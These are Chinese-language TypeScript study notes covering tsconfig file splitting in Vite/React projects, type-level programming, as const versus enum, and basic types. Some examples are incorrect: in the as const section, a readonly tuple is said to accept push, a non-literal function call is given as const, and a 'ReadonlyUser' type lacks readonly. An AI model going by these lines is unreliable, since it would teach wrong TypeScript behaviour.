| **核心用途**   | 定义项目通用规则（如 TypeScript 版本、模块系统、全局类型）   | 过滤非应用代码、定制应用编译规则（如输出目录、编译目标文件） |
| **常见配置项** | `compilerOptions.target`（全局 TS 目标版本）、`compilerOptions.module`（模块系统）、`typeRoots`（类型声明目录） | `include`（仅包含 `src/**/*`）、`exclude`（排除 `node_modules`/ 测试文件）、覆盖 `outDir`（应用输出目录） |
| **是否必须**   | 是（TypeScript 项目的核心配置文件）                          | 否（简单项目可只用 `tsconfig.json`；工程化项目推荐拆分）     |

以 React 项目为例：

## tsconfig.app.json（应用子配置）

`tsconfig.app.json` 就是专门给前端项目 `src` 目录下的业务源代码（比如 React 组件、逻辑脚本等）提供的 TypeScript 配置，负责业务代码的类型检查、语法适配等核心需求。

```json
{
  "compilerOptions": {
    // 1. 类型构建信息缓存文件路径
    // 作用：TypeScript 会将编译过程中的类型检查、模块依赖等信息写入该文件
    // 优势：下次编译时直接复用缓存，大幅提升二次编译速度（尤其大型项目）
    "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",

    // 2. 目标 JS 版本（编译后输出的 JS 语法版本）
    // ES2022 是较新的稳定版本，支持类字段、顶层 await 等常用特性，兼顾兼容性和功能
    "target": "ES2022",

    // 3. 类字段使用 defineProperty 定义（而非直接赋值）
    // 作用：遵循 ES 标准，确保类字段的可见性（如 public/private）和访问器行为符合预期
    // 注意：配合 React 类组件或自定义类时，避免字段赋值行为不一致
    "useDefineForClassFields": true,

    // 4. 项目可用的全局库类型（告知 TS 代码中可使用哪些全局 API）
    // ES2022：提供 ES2022 标准的全局类型（如 Array.prototype.at）
    // DOM：提供浏览器 DOM API 类型（如 window、document）
    // DOM.Iterable：提供 DOM 可迭代对象类型（如 NodeList 的 for...of 遍历）
    "lib": ["ES2022", "DOM", "DOM.Iterable"],

    // 5. 模块系统类型（代码中使用的模块规范）
    // ESNext：支持最新的 ES 模块特性（如 import.meta、动态导入），适配 Vite 的 ES 模块优先策略
    "module": "ESNext",

    // 6. 额外引入的类型声明文件（全局可用）
    // vite/client：提供 Vite 专属的类型支持（如 import.meta.env、import.meta.glob 等 Vite 全局 API 类型）
    "types": ["vite/client"],

    // 7. 跳过第三方库的类型检查
    // 原因：第三方库（如 react、lodash）的类型声明通常已完善，跳过可大幅提升编译速度
    // 避免：因第三方库类型冲突导致的编译报错（不影响业务代码类型检查）
    "skipLibCheck": true,

    /* Bundler mode（打包工具模式，适配 Vite 等现代化打包工具） */
    // 8. 模块解析方式（告知 TS 如何查找导入的模块）
    // bundler：专门为打包工具（Vite、Webpack）设计的解析逻辑，支持：
    // - 裸模块导入（如 import React from 'react'）
    // - 导入 TS 扩展名文件（配合 allowImportingTsExtensions）
    // - 打包工具的特殊解析规则（如 Vite 的路径别名、条件导出）
    "moduleResolution": "bundler",

    // 9. 允许导入时带 .ts/.tsx 扩展名
    // 示例：import { Button } from './Button.tsx'（无需写成 ./Button）
    // 适配 Vite 的原生 ES 模块解析逻辑，避免手动配置路径别名时的后缀问题
    "allowImportingTsExtensions": true,

    // 10. 严格保留模块语法（不自动转换模块类型）
    // 作用：禁止 TS 自动将 ES 模块转为 CommonJS（如 require/module.exports）
    // 适配 Vite：确保代码以 ES 模块形式被打包，避免模块系统冲突
    "verbatimModuleSyntax": true,

    // 11. 强制将所有文件视为模块（即使没有导入/导出）
    // 避免：无导入/导出的文件被 TS 视为全局脚本，导致变量污染或类型冲突
    "moduleDetection": "force",

    // 12. 不生成编译产物（.js/.d.ts 等文件）
    // 核心原因：Vite 会单独处理代码编译和打包，TS 仅负责类型检查（不参与实际构建）
    // 优势：减少冗余文件，提升开发效率
    "noEmit": true,

    // 13. JSX 语法处理方式（适配 React 17+ 的新 JSX 转换）
    // react-jsx：使用 React 自带的 jsx 运行时（无需手动导入 import React from 'react'）
    // 替代旧版 "jsx": "react"，减少代码体积，支持 JSX 隔离编译
    "jsx": "react-jsx",

    /* Linting（严格类型检查，提前规避代码问题） */
    // 14. 开启所有严格类型检查规则（核心开关）
    // 包含：noImplicitAny、strictNullChecks、strictFunctionTypes 等关键规则
    // 目的：强制规范代码，避免隐式类型错误（如 null/undefined 调用、任意类型 any 滥用）
    "strict": true,

    // 15. 禁止未使用的局部变量
    // 作用：清理冗余代码，避免变量声明后未使用导致的代码臃肿
    "noUnusedLocals": true,

    // 16. 禁止未使用的函数参数
    // 作用：优化函数定义，避免参数冗余（如函数声明了参数但未在函数体内使用）
    "noUnusedParameters": true,

    // 17. 仅检查可擦除的语法（不影响运行时的类型语法）
    // 作用：只验证 TypeScript 语法正确性（如类型注解、接口定义），不干涉 JS 运行时逻辑
    // 适配 Vite：确保类型语法被正确解析，同时不影响 Vite 的构建流程
    "erasableSyntaxOnly": true,

    // 18. 禁止 switch 语句中的穿透情况（case 未加 break/return 导致的逻辑错误）
    // 示例：case 1: console.log(1); // 无 break，会穿透到 case 2，触发报错
    // 作用：避免逻辑漏洞，强制规范 switch 语句写法
    "noFallthroughCasesInSwitch": true,

    // 19. 禁止导入有未检查副作用的模块
    // 作用：避免导入仅执行副作用（如修改全局变量、执行 DOM 操作）但未声明的模块
    // 优势：提升代码可维护性，明确副作用来源
    "noUncheckedSideEffectImports": true
  },
  // 20. 编译/类型检查的文件范围：仅包含 src 目录下的所有文件
  // 目的：精准定位应用业务代码，排除测试文件、工具脚本等（避免无关文件类型检查）
  "include": ["src"]
}
```

## tsconfig.node.json（脚手架运行的配置）

```json
{
  "compilerOptions": {
    // 1. Node 脚本专属的类型构建信息缓存文件
    // 作用：和 tsconfig.app.json 分开缓存，避免应用代码和 Node 脚本的编译缓存冲突
    // 优势：单独优化 Node 脚本的二次编译速度（如修改 vite.config.ts 后快速重新类型检查）
    "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",

    // 2. 目标 JS 版本（适配 Node 环境）
    // ES2023：Node.js 18+ 已完全支持 ES2023 特性（如 Array.prototype.findLast、Hashbang 支持）
    // 差异：比 tsconfig.app.json 的 ES2022 更高，因为 Node 环境的兼容性比浏览器更可控
    "target": "ES2023",

    // 3. 项目可用的全局库类型（仅 Node 核心 API 类型）
    // 仅包含 ES2023：无需 DOM 相关类型（Node 环境无浏览器 DOM API）
    // 差异：和 tsconfig.app.json 相比，移除了 "DOM" 和 "DOM.Iterable"，避免类型冗余
    "lib": ["ES2023"],

    // 4. 模块系统类型（适配 Node 环境的 ES 模块）
    // ESNext：支持 Node 最新的 ES 模块特性（如 import.meta.url、顶层 await）
    // 一致：和 tsconfig.app.json 保持一致，适配 Vite 的 ES 模块优先策略
    "module": "ESNext",

    // 5. 额外引入的类型声明文件（Node 环境专属）
    // "node"：提供 Node.js 核心 API 的类型支持（如 fs、path、http 模块，process 全局对象）
    // 差异：替代 tsconfig.app.json 的 "vite/client"，因为 Node 脚本不需要浏览器/Vite 客户端类型
    "types": ["node"],

    // 6. 跳过第三方库的类型检查
    // 作用：和 tsconfig.app.json 一致，跳过 node_modules 中第三方库（如 vite、rollup）的类型检查
    // 优势：提升 Node 脚本的类型检查速度，避免第三方库类型冲突
    "skipLibCheck": true,

    /* Bundler mode（打包工具模式，适配 Vite 配置的构建逻辑） */
    // 7. 模块解析方式（适配打包工具 + Node 环境）
    // "bundler"：支持 Vite 配置中使用的路径别名、条件导出，同时兼容 Node 模块解析规则
    // 一致：和 tsconfig.app.json 保持一致，确保模块查找逻辑统一
    "moduleResolution": "bundler",

    // 8. 允许导入时带 .ts 扩展名
    // 示例：在 vite.config.ts 中可直接 import { resolve } from './utils.ts'
    // 一致：和 tsconfig.app.json 保持一致，适配 Vite 的原生 ES 模块解析
    "allowImportingTsExtensions": true,

    // 9. 严格保留模块语法（不转换为 CommonJS）
    // 作用：确保 Vite 配置文件以 ES 模块形式被 Node 识别（需配合 package.json 的 "type": "module"）
    // 一致：和 tsconfig.app.json 保持一致，避免模块系统冲突
    "verbatimModuleSyntax": true,

    // 10. 强制将所有文件视为模块
    // 作用：避免 vite.config.ts 因无显式导入/导出被视为全局脚本，导致变量污染
    // 一致：和 tsconfig.app.json 保持一致，规范文件模块行为
    "moduleDetection": "force",

    // 11. 不生成编译产物
    // 核心原因：Vite 配置文件（vite.config.ts）由 Vite 自身通过 esbuild 转译执行，TS 仅负责类型检查
    // 一致：和 tsconfig.app.json 保持一致，避免生成冗余的 .js 文件
    "noEmit": true,

    /* Linting（严格类型检查，规范 Node 脚本代码） */
    // 12. 开启所有严格类型检查规则
    // 作用：和 tsconfig.app.json 一致，强制 Node 脚本（如 vite.config.ts）的类型规范
    // 避免：如 null/undefined 调用、any 类型滥用等问题
    "strict": true,

    // 13. 禁止未使用的局部变量
    // 作用：清理 vite.config.ts 中的冗余变量，保持配置文件简洁
    "noUnusedLocals": true,

    // 14. 禁止未使用的函数参数
    // 作用：优化 Vite 配置中的插件函数、钩子函数，避免参数冗余
    "noUnusedParameters": true,

    // 15. 仅检查可擦除的语法
    // 作用：只验证 TypeScript 类型语法（如接口、类型注解），不干涉 Node 脚本的运行时逻辑
    "erasableSyntaxOnly": true,

    // 16. 禁止 switch 语句穿透
    // 作用：规范 Vite 配置中可能的 switch 逻辑（如环境变量判断），避免逻辑漏洞
    "noFallthroughCasesInSwitch": true,

    // 17. 禁止导入有未检查副作用的模块
    // 作用：避免在 Vite 配置中导入未知副作用的模块（如修改 Node 全局变量的脚本）
    // 优势：提升配置文件的可维护性，明确副作用来源
    "noUncheckedSideEffectImports": true
  },
  // 18. 编译/类型检查的文件范围：仅包含 Vite 配置文件
  // 核心目的：精准定位 Node 环境脚本（vite.config.ts 是项目中最主要的 Node 脚本）
  // 差异：和 tsconfig.app.json 的 "include": ["src"] 区分，避免应用代码和 Node 脚本的类型混淆
  "include": ["vite.config.ts"]
}
```

前端项目（如 Vite + React）的运行，需要依赖 **Node 环境的工具脚本**（比如 `vite.config.ts`）来启动开发服务器、处理打包构建。`tsconfig.node.json` 就是专门给这些「工具脚本」做类型检查的配置，让脚手架相关的脚本能在 Node 环境中正确运行，同时和前端业务代码的类型环境隔离开。

前端工程化的核心是 “用 Node 工具链支撑前端开发”，比如：

* 你执行 `npm run dev` 时，实际是 Node 运行了 Vite 的 CLI 工具；
* Vite 的 CLI 会读取 `vite.config.ts`（Node 脚本），根据配置启动开发服务器、处理模块打包、解析别名等；
* `vite.config.ts` 里会用到 Node 环境的 API（如 `path.resolve`、`process.env`）和 Vite 的 Node 端 API（如 `defineConfig`、插件配置），这些都需要 Node 相关的类型支持。

`tsconfig.node.json` 的核心作用就是：

1. 给 `vite.config.ts` 这类「Node 工具脚本」提供类型提示（比如 `node` 类型让 TS 认识 `process`、`fs` 等）；
2. 避免 Node 环境的类型（如 `global`、`module`）和前端浏览器环境的类型（如 `window`、`DOM`）冲突；
3. 让 TypeScript 只针对这些工具脚本做精准的类型检查，不干扰前端业务代码。

## tsconfig.json（主配置）

```json
{
  // 1. 明确指定当前配置文件直接包含的文件（空数组表示无直接包含的文件）
  // 原因：当前主配置仅用于聚合子配置，不直接处理文件编译
  "files": [],

  // 2. 项目引用（TypeScript 3.0+ 特性，用于多配置拆分）
  // 作用：将项目拆分为多个独立的子项目（应用代码、Node 脚本），支持：
  // - 并行编译（提升构建速度）
  // - 子项目类型隔离（避免应用代码和 Node 代码类型冲突）
  // - 配置复用（无需重复写通用规则）
  "references": [
    // 引用应用代码配置（tsconfig.app.json：处理 src 目录下的 React 业务代码）
    { "path": "./tsconfig.app.json" },
    // 引用 Node 脚本配置（tsconfig.node.json：处理 Vite 配置、Node 工具脚本等）
    { "path": "./tsconfig.node.json" }
  ]
}
```

`files` 是 TS 配置中「明确指定要编译 / 类型检查的单个文件列表」，仅支持具体文件路径（如 \["src/index.ts"]），不支持通配符。

配置中 `files: []`（空数组），意思是「当前配置文件不直接处理任何文件」，完全靠 `references` 关联子配置 —— 这正是 Vite 项目的典型用法，主配置只做聚合，不直接参与文件处理。

核心场景：只需要给少数几个关键文件做 TS 配置时用（比如简单项目只有 1-2 个 TS 文件），但工程化项目（如 Vite/React）更常用 `include`（支持通配符）或 `references`（聚合子配置），所以 `files` 用得少。

***

tsconfig.json 是项目根目录的「主配置入口」，核心作用是聚合 tsconfig.app.json/tsconfig.node.json 等子配置（通过 references 关联），也可存放所有子配置共用的全局性 TypeScript 规则。

tsconfig.json 用 `references` 聚合子配置，自身不直接处理文件（files 为空），是 “纯聚合型” 主配置；

简单项目中，也可以在 tsconfig.json 里直接写全局规则（如 strict: true、target: ES2022），让子配置通过 extends 继承，避免重复配置 —— 本质还是 “全局基准 + 子配置差异化” 的思路。

## 拆分的优势

**区分场景**：应用代码（App）和测试代码（Test）、工具脚本（Script）的编译需求不同（如测试代码需要 `jest` 类型，应用代码不需要），拆分后可分别配置。

**提升编译速度**：`tsconfig.app.json` 仅包含 `src/` 目录，避免编译无关文件（如测试、文档），减少 TypeScript 类型检查和编译的范围。

**配置复用**：主配置定义通用规则，子配置只关注差异项，避免重复写配置（如 `strict: true` 不需要在每个子配置中重复声明）。

**工程化规范**：大型项目中，通过 `tsconfig.app.json`、`tsconfig.spec.json`（测试）、`tsconfig.node.json`（Node 脚本）拆分，让配置更清晰，团队协作更规范。

---

---
url: /ts/fzchr6bf/index.md
---
# 类型体操入门
在 TypeScript 中，**类型不仅能检查变量和函数，还能进行“运算”**。当我们利用泛型、条件类型、映射类型等组合来推导、改造、生成新类型时，这种玩法就被戏称为 **类型体操**。

它听起来很高深，但其实就是 **逻辑运算 + 模式匹配 + 推理**。

## 关键语法

要学类型体操，先熟悉以下几个“积木块”：

### `keyof`

取出对象类型的所有键，得到联合类型：

```ts
interface User { id: number; name: string; }
type Keys = keyof User; // "id" | "name"
```

### 映射类型

遍历一个对象类型的所有键，构造新类型：

```ts
type ReadonlyUser<T> = {
  [K in keyof T]: T[K];
};
```

### 条件类型

根据条件决定结果：

```ts
type IsString<T> = T extends string ? true : false;
type A = IsString<"hello">; // true
type B = IsString<123>;     // false
```

### `infer` 推断

在条件类型里推断出未知的类型：

```ts
type GetReturnType<T> = T extends (...args: any[]) => infer R ? R : never;
type A = GetReturnType<() => number>; // number
```

### 联合类型分发

条件类型在遇到联合类型时会自动分发：

```ts
type ToArray<T> = T extends any ? T[] : never;
type A = ToArray<"a" | "b">; // "a"[] | "b"[]
```

## 内置工具类型体操

### `Pick<T, K>`

从 `T` 中选取部分键：

```ts
type MyPick<T, K extends keyof T> = {
  [P in K]: T[P];
};
```

思路：

1. 遍历 `K`
2. 从 `T` 中取出对应的类型

### `Omit<T, K>`

去掉部分键，其实就是 `Pick + Exclude`：

```ts
type MyOmit<T, K extends keyof any> = Pick<T, Exclude<keyof T, K>>;
```

思路：

1. `keyof T` 得到所有键
2. 用 `Exclude` 剔除掉 `K`
3. 再 `Pick` 出剩下的键

### `Awaited<T>`

获取 Promise 的值：

```ts
type MyAwaited<T> = T extends Promise<infer U> ? MyAwaited<U> : T;
```

思路：

1. 判断是不是 `Promise`
2. 如果是，解包（`infer U`）
3. 递归继续解包

## 实战

### 部分只读属性

把 `T` 的部分属性变为只读：

```ts
type PartiallyReadonly<T, K extends keyof T> =
  Omit<T, K> & { readonly [P in K]: T[P] };

interface User { id: number; name: string; }
type UserWithReadonlyId = PartiallyReadonly<User, "id">;
// { readonly id: number; name: string }
```

### 提取对象中的函数键

```ts
type FunctionKeys<T> = {
  [K in keyof T]: T[K] extends (...args: any[]) => any ? K : never
}[keyof T];

interface User {
  id: number;
  name: string;
  greet(msg: string): void;
}

type FnKeys = FunctionKeys<User>; // "greet"
```

### 去掉对象中值为 `never` 的属性

```ts
type RemoveNever<T> = {
  [K in keyof T as T[K] extends never ? never : K]: T[K];
};

type Example = RemoveNever<{ a: string; b: never; c: number }>;
// { a: string; c: number }
```

---

---
url: /ts/lxhlnfq0/index.md
---
# 一些特性
## as const

**默认的可变性问题**

在 TypeScript 中，数组和对象默认是可变的，这意味着：

* **类型推断过于宽泛**：TypeScript 会为可变集合推断出最通用的类型
* **类型安全性降低**：无法有效捕获意外的类型错误
* **自动补全不准确**：IDE 无法提供精确的成员建议

```ts
const colors = ["red", "green", "blue"];
// Type: string [] - 类型太宽泛，可能是任何字符串数组
colors.push("yellow"); // 允许操作，但可能不是您想要的行为
// 推断类型: Color = string (过于宽泛！)
```

**问题详解**

**类型推断结果**

* `colors` 被推断为 `string[]` 类型
* 这个类型包含了所有可能的字符串数组组合

**潜在问题**

```ts
// 允许添加任意字符串，这可能违背设计意图
colors.push("purple");      // 允许
colors.push(123);          // 错误：Type 'number' is not assignable to type 'string'
// 类型提取结果过于宽泛
type Color = (typeof colors)[number]; // string，而不是具体的颜色值
```

**解决方案**

使用 `as const` 断言

```ts
const colors = ["red", "green", "blue"] as const;
// Type: readonly ["red", "green", "blue"]
// 现在类型提取是精确的
type Color = (typeof colors)[number]; // "red" | "green" | "blue" | "yellow"
// 仍然允许添加，但类型检查更严格
colors.push("yellow"); // 允许，但会更新类型
// 以下操作会被 TypeScript 阻止
colors[0] = "pink"; // Type 'string' is not assignable to type '"red"'
colors.push("orange"); // 如果不在原始类型中，会报错
```

使用明确的类型定义

```ts
type Color = "red" | "green" | "blue" | "yellow";
const colors: Color[] = ["red", "green", "blue"];
// Type: Color [] - 明确指定允许的类型
```

联合类型方法

```typescript
// 定义允许的具体值
const ALLOWED_COLORS = ["red", "green", "blue"] as const;
type AllowedColor = (typeof ALLOWED_COLORS)[number];
// 创建可变数组，但限制为允许的类型
const colors: AllowedColor[] = [...ALLOWED_COLORS];
// 使用
colors.push("yellow"); // 错误：Argument of type '"yellow"' is not assignable
colors.push("purple"); // 错误：Argument of type '"purple"' is not assignable
```

**实际应用场景**

配置对象

```typescript
// 不推荐：类型太宽泛
const config = {
  environment: "development",
  debug: true,
  port: 3000
};
// 推荐：使用 const 断言
const config = {
  environment: "development",
  debug: true,
  port: 3000
} as const;
type ConfigKey = (typeof config)[keyof typeof config];
// "development" | true | 3000
```

::: info

`keyof` 是 **类型操作符**，它的作用是：获取一个对象类型中所有键（key）的 **联合类型**。

:::

```typescript
keyof typeof config
// => "environment" | "debug" | "port"
```

加了 `as const` 就类似把数组变成了元组，更精确地说，是 **只读字面量元组**（`readonly tuple`）。

**常见适用场景**

**场景一**：固定配置、枚举、选项常量

当你需要定义一组 **固定的不可变配置**，让 TS 精确知道有哪些值时：

```ts
const COLORS = ["red", "green", "blue"] as const;

type Color = typeof COLORS[number]; 
// => "red" | "green" | "blue"
```

**典型应用：**

* 定义枚举选项
* 受控组件的选项列表
* 状态机、API 常量等

**场景二**：对象键值映射

当你想让对象的值类型也被“锁死”成具体值时：

```ts
const STATUS = {
  SUCCESS: 200,
  NOT_FOUND: 404,
  SERVER_ERROR: 500
} as const;

type StatusCode = (typeof STATUS)[keyof typeof STATUS];
// => 200 | 404 | 500
```

若不加 `as const`，推断类型会变为 `{ SUCCESS: number; ... }`，类型丢失。

**场景三**：switch / 映射判断 更精确的类型推断

比如写一个类型安全的 switch：

```ts
const actions = ["start", "stop", "pause"] as const;

type Action = typeof actions[number]; // "start" | "stop" | "pause"

function handle(action: Action) {
  switch (action) {
    case "start": ...
    case "stop": ...
    case "pause": ...
  }
}
```

如果不加 `as const`，`action` 就会被当作普通 `string`，类型保护失效。

**场景四**：Redux、状态管理、命令模式等

当你写 action creator 时：

```ts
const actions = {
  ADD_TODO: "ADD_TODO",
  REMOVE_TODO: "REMOVE_TODO"
} as const;

type ActionType = keyof typeof actions;
// => "ADD_TODO" | "REMOVE_TODO"

type ActionValue = typeof actions[ActionType];
// => "ADD_TODO" | "REMOVE_TODO"
```

`as const` 可以防止字符串被“宽化”，让类型和值一一对应。

**场景五**：模板映射、API 参数定义

定义接口字段、HTTP 请求方法等：

```ts
const METHODS = ["GET", "POST", "PUT", "DELETE"] as const;
type Method = typeof METHODS[number]; // "GET" | "POST" | "PUT" | "DELETE"
```

这种写法广泛用于 SDK、API 客户端、配置校验中。

使用 `as const` 的权衡

| 优点                                   | 缺点                          |
| -------------------------------------- | ----------------------------- |
| 提高类型精度（从宽泛 → 精确）          | 所有字段变 readonly（不能改） |
| 适合定义常量、枚举、配置               | 不能再修改值（需复制）        |
| 让 `keyof` / `[number]` 提取类型更安全 | 不适合需要动态构建的结构      |

`as const` 的本质是告诉 TypeScript：“**这个值就是常量，不会再改动，请用最精确的类型去推断它**。”

**常用搭配套路**

```ts
// 1️⃣ 枚举值提取
const ROLES = ["admin", "user", "guest"] as const;
type Role = typeof ROLES[number];

// 2️⃣ 对象 value 提取
const HTTP = { GET: "GET", POST: "POST" } as const;
type HttpMethod = (typeof HTTP)[keyof typeof HTTP];

// 3️⃣ 状态机
const STATES = { INIT: 0, RUNNING: 1, DONE: 2 } as const;
type State = (typeof STATES)[keyof typeof STATES];
```

不过很多 `as const + 类型提取` 的场景，从逻辑上来看，**用 TypeScript 的枚举（`enum`）也能实现同样的效果**，甚至在某些场合还更直观：

```ts
enum Color {
  Red = "red",
  Green = "green",
  Blue = "blue"
}

let c: Color = Color.Green; // 类型安全
```

`as const` 的优势：

**更轻量**

* `as const` 只是类型层面的“常量标记”，不会生成任何 JS 运行时代码。
* `enum` 默认会生成运行时代码（尤其是字符串枚举），会增加打包体积。

**更灵活**

* 可以直接对数组或对象使用，不需要先定义枚举，再维护两个映射。
* 特别适合动态生成的常量数组，只要加上 `as const` 就能推导类型。

```ts
const COLORS = getColorsFromAPI() as const; // 类型会锁死字面量
```

**更好推导联合类型**

* 用 `as const` + `typeof` + `[number]` 很容易得到联合类型：

```ts
const COLORS = ["red", "green", "blue"] as const;
type Color = typeof COLORS[number]; // "red" | "green" | "blue"
```

枚举想得到类似 `"red" | "green" | "blue"` 就稍麻烦，通常要用 `keyof typeof Enum` 或者 `Enum[keyof typeof Enum]`。

**与对象结构配合更自然**

* 当你要做对象字面量映射时，`as const` 更方便：

```ts
const STATUS = { SUCCESS: 200, ERROR: 500 } as const;
type StatusCode = typeof STATUS[keyof typeof STATUS]; // 200 | 500
```

枚举也能做，但对象写法更直观，尤其是值不连续或非数字的场景。

| 方式       | 优势                            | 适合场景                                   |
| ---------- | ------------------------------- | ------------------------------------------ |
| `as const` | 类型层面精确、轻量、灵活        | 常量数组、对象、状态码、联合类型提取       |
| `enum`     | JS 运行时代码、可直接使用、直观 | 明确枚举、状态机、需要运行时代码引用的常量 |

`as const` 更像是“类型安全的轻量写法”，枚举更像是“正式的运行时代码枚举”，两者重叠的场景确实很多，但 `as const` 更灵活、轻量，特别适合做联合类型提取。

---

---
url: /ts/mdg9p28m/index.md
---
类型静态检查：
在代码执行之前，发现代码的错误或者不合理的地方，减少运行时异常出现的几率，其核心就是**静态类型检查**，简而言之就是把**运行时错误前置**

## 命名行编译

全局安装TypeScript `npm i typescript -g`

使用命令编译 `tsc demo.ts`

## 自动化编译

第一步：创建一个TS编译控制文件

```
tsc --init
```

> 此时工程会生成一个tsconfig.json配置文件，其中包含了很多编译时的配置
>
> 其默认JS编译版本是ES7，可以手动更改为其他版本

第二步：监视目录中的`.ts`文件变化

```
tsc --watch
```

第三步：小优化，当编译出现错误时不生成`.js`文件

```
tsc --noEmitOnError --watch
```

> 备注：当然也可以通过修该tsconfig.json中的noEmitOnError配置（把对应配置项解开即可）

## 类型声明

```ts
// 限制函数参数和返回值类型
function count(x:number,y:number):number{
    return x+y
}
// 多传或者少传都不行
count(1)
count(2,3)
count(1,2,4)
```

### 字面量类型

实际开发很少用

```ts
let a:'你好' // a的值只能为字符串‘你好’
let b:100 //b的值只能为数字100

a='欢迎' // 警告：不能将类型‘欢迎’分配给类型‘你好’
b=233 // ...
```

### 类型推断

TS会根据代码，进行类型推导，例如：

```ts
let d = 99
d = true // error
```

> 注意：类型推断不是万能的，复杂类型推断容易出问题，尽量还是明确类型声明！

## 类型总览

| JavaScript数据类型                          |
| ------------------------------------------- |
| string                                      |
| number                                      |
| boolean                                     |
| null                                        |
| undefined                                   |
| bigint                                      |
| symbol                                      |
| object (包含Array，function，Date，Error等) |

| Typescript数据类型 |
| ------------------ |
| 所有JavaScript类型 |
| any                |
| unknown            |
| never              |
| void               |
| tuple              |
| enum               |
| 自定义类型         |
| type               |
| interface          |

### 大与小

```ts
String - string
```

不能将类型`String`分配给类型`string`

```
string`是基元，但是`String`是**包装对象**，如有可能首选使用`string
```

**基本字符串**

**字符串包装对象**

```ts
let str1:string // 官方推荐写法
str1 = new String('Hellow') // Error

let str2:String 
str2 = new String('Hello')// 既可以写字符串原始类型，也可以写包装对象
```

**总结：**`String`对内存不友好，根本没有必要写包装对象，就是**闲得慌**

```ts
// 这种写法完全没有必要!!!
let n = new Number(0)
console.log(n.valueOf)
```

**注意点**：在JavaScript中的这些内置构造函数：Number,String,Boolean,它们用于创建对应的包装对象，在日常开发时**很少使用**，在TS中也是同理，所以在TS中进行类型声明的时候，通常都是小写的number，string，boolean

**了解包装对象**：

**原始类型**：如number，string，在JavaScript中简单的数据类型，它们在内存中占用空间少，处理速度快

**包装对象**：如Number，String，时复杂类型，在内存中占用更多空间，在日常开发中很少由开发人员自己创建包装对象

**自动装箱**：JavaScript在必要时会自动将**原始类型包装成对象**，以便调用**方法或属性**

```js
// 原始类型字符串
let str = 'hello';

// 当访问str.length时，JavaScript引擎做了以下工作：
let size = (function() {
  // 1. 自动装箱：创建一个临时的String对象包装原始字符串
  let tempStringObject = new String(str);

  // 2. 访问String对象的length属性
  let lengthValue = tempStringObject.length;

  // 3. 销毁临时对象，返回长度值
  // （JavaScript引擎自动处理对象销毁，开发者无感知）
  return lengthValue;
})();

console.log(size); // 输出: 5
```

## 常用类型

### any

TypeScript=JavaScript  ???

`any`和含义是：任意类型，一旦将变量类型设置为any，那就意味着**放弃了**对该变量的类型检查

**注意点：**`any`类型的变量，可以赋值给**任意类型的变量**，即会**破坏其他类型**

### unknown

unknown的含义是：**未知类型**

可以理解为一个类型安全的any，**不会破坏其他类型**(不可以赋值给其他类型)，适用于：不确定数据的具体类型

unknown会强制开发者在使用之前进行类型检查，从而提供更强的类型检查

```ts
let a:unknown
a = 'hello'
let x:string

x = a // error

//解决方案
//第一种
if(typeof a === 'string'){
    x = a
}
//第二种(断言)
x = a as string
//第三种(断言)
x = <string>a
```

读取any类型数据的任何属性都不会报错，而unknown正好相反

```ts
let a:any='hello'
a.toUpperCase() // 无警告

let a:unknown='hello'
a.toUpperCase() // 警告,a的类型为未知
(a as string).toUpperCase() // 解决方案
```

### never

never的含义是：任何值都不是，简而言之就是**不能有值**，undefined,null,'',0都不行！

几乎不用never去限制变量，因为没有意义

作用：用于限制函数返回类型的

```ts
// 限制throwError函数不需要有任何返回值，任何值都不行，像undeifned、null都不行
function demo():never{
    throw new Error('程序运行异常！')
}
//函数只有两种结果
// 1.不能够顺利的调用结束,如果一个js顺利调用了函数，必然会返回一个undefined
// 2. 函数抛出错误
//说白了就是不能结束或者不能正常结束
```

never一般是TS主动推断出来的

```ts
// 指定a的类型为string
let a: string
// 给a设置一个值
a = 'hello'

if (typeof a === 'string') {
  console.log(a.toUpperCase())
} else {
  console.log(a) // TypeScript会推断出此处的a是never，因为没有任何一个值符合此处的逻辑
}
```

### void

`void`的含义是空，即：函数不返回任何值，调用者也不应依赖其返回值进行**任何操作**！

`void`通常用于函数返回值声明

```ts
function logMessage(msg:string):void{
  console.log(msg)
}
logMessage('你好')
```

**注意：**编码者没有编写`return`指定函数返回值，所以`logMessage`函数是没有**显式返回值**的，但会有一个**隐式返回值** ，是`undefined`，虽然函数返回类型为`void`，但也是可以接受`undefined`的，简单记：`undefined`**是**`void`**可以接受的一种空。**

以下写法均符合规范:

```ts
// 无警告
function logMessage(msg:string):void{
  console.log(msg)
}

// 无警告
function logMessage(msg:string):void{
  console.log(msg)
  return;
}

// 无警告
function logMessage(msg:string):void{
  console.log(msg)
  return undefined
}
```

**返回值类型为**`void`**的函数，调用者不应该依赖其返回值进行任何操作！**!!!!!!

```ts
function logMessage(msg:string):void{
  console.log(msg)
}

let result = logMessage('你好')

if(result){ // 此行报错：无法测试 "void" 类型的表达式的真实性
  console.log('logMessage有返回值')
}

//-----------------------------------------
function logMessage(msg:string):undefined{
  console.log(msg)
}

let result = logMessage('你好')

if(result){ // 此行无警告
  console.log('logMessage有返回值')
}
```

**理解 void 与 undefined**

* `void`是一个广泛的概念，用来表达“空”，而 `undefined` 则是这种“空”的具体实现。
* 因此可以说 `undefined`是`void`能接受的一种“空”的状态。
* 也可以理解为：`void`包含`undefined`，但`void`所表达的语义超越了`undefined`，`void`是一种意图上的约定，而不仅仅是特定值的限制。

**总结：**

如果一个函数返回类型为`void`，那么：

1. **从语法上讲**：函数是可以返回`undefined`的，至于显式返回，还是隐式返回，这无所谓！
2. **从语义上讲**：函数调用者不应关心函数返回的值，也不应依赖返回值进行任何操作！即使我们知道它返回了`undefined`。

### object

关于`object`与`Object`，直接说结论：实际开发中用的相对较少，因为范围太大了。

#### object（小写）

`object`（小写）的含义是：所有**非原始类型**，可存储：对象、函数、数组等，由于限制的范围**比较宽泛**，在实际开发中使用的**相对较少**。

```ts
let a:object //a的值可以是任何【非原始类型】，包括：对象、函数、数组等

// 以下代码，是将【非原始类型】赋给a，所以均符合要求
a = {}
a = {name:'张三'}
a = [1,3,5,7,9]
a = function(){}
a = new String('123')
class Person {}
a = new Person()

// 以下代码，是将【原始类型】赋给a，有警告
a = 1         // 警告：不能将类型“number”分配给类型“object”
a = true      // 警告：不能将类型“boolean”分配给类型“object”
a = '你好'    // 警告：不能将类型“string”分配给类型“object” 
a = null      // 警告：不能将类型“null”分配给类型“object”
a = undefined // 警告：不能将类型“undefined”分配给类型“object”
```

#### Object（大写）

官方描述：所有可以调用Object方法的类型

简单回忆：除了undefined和null的任何值

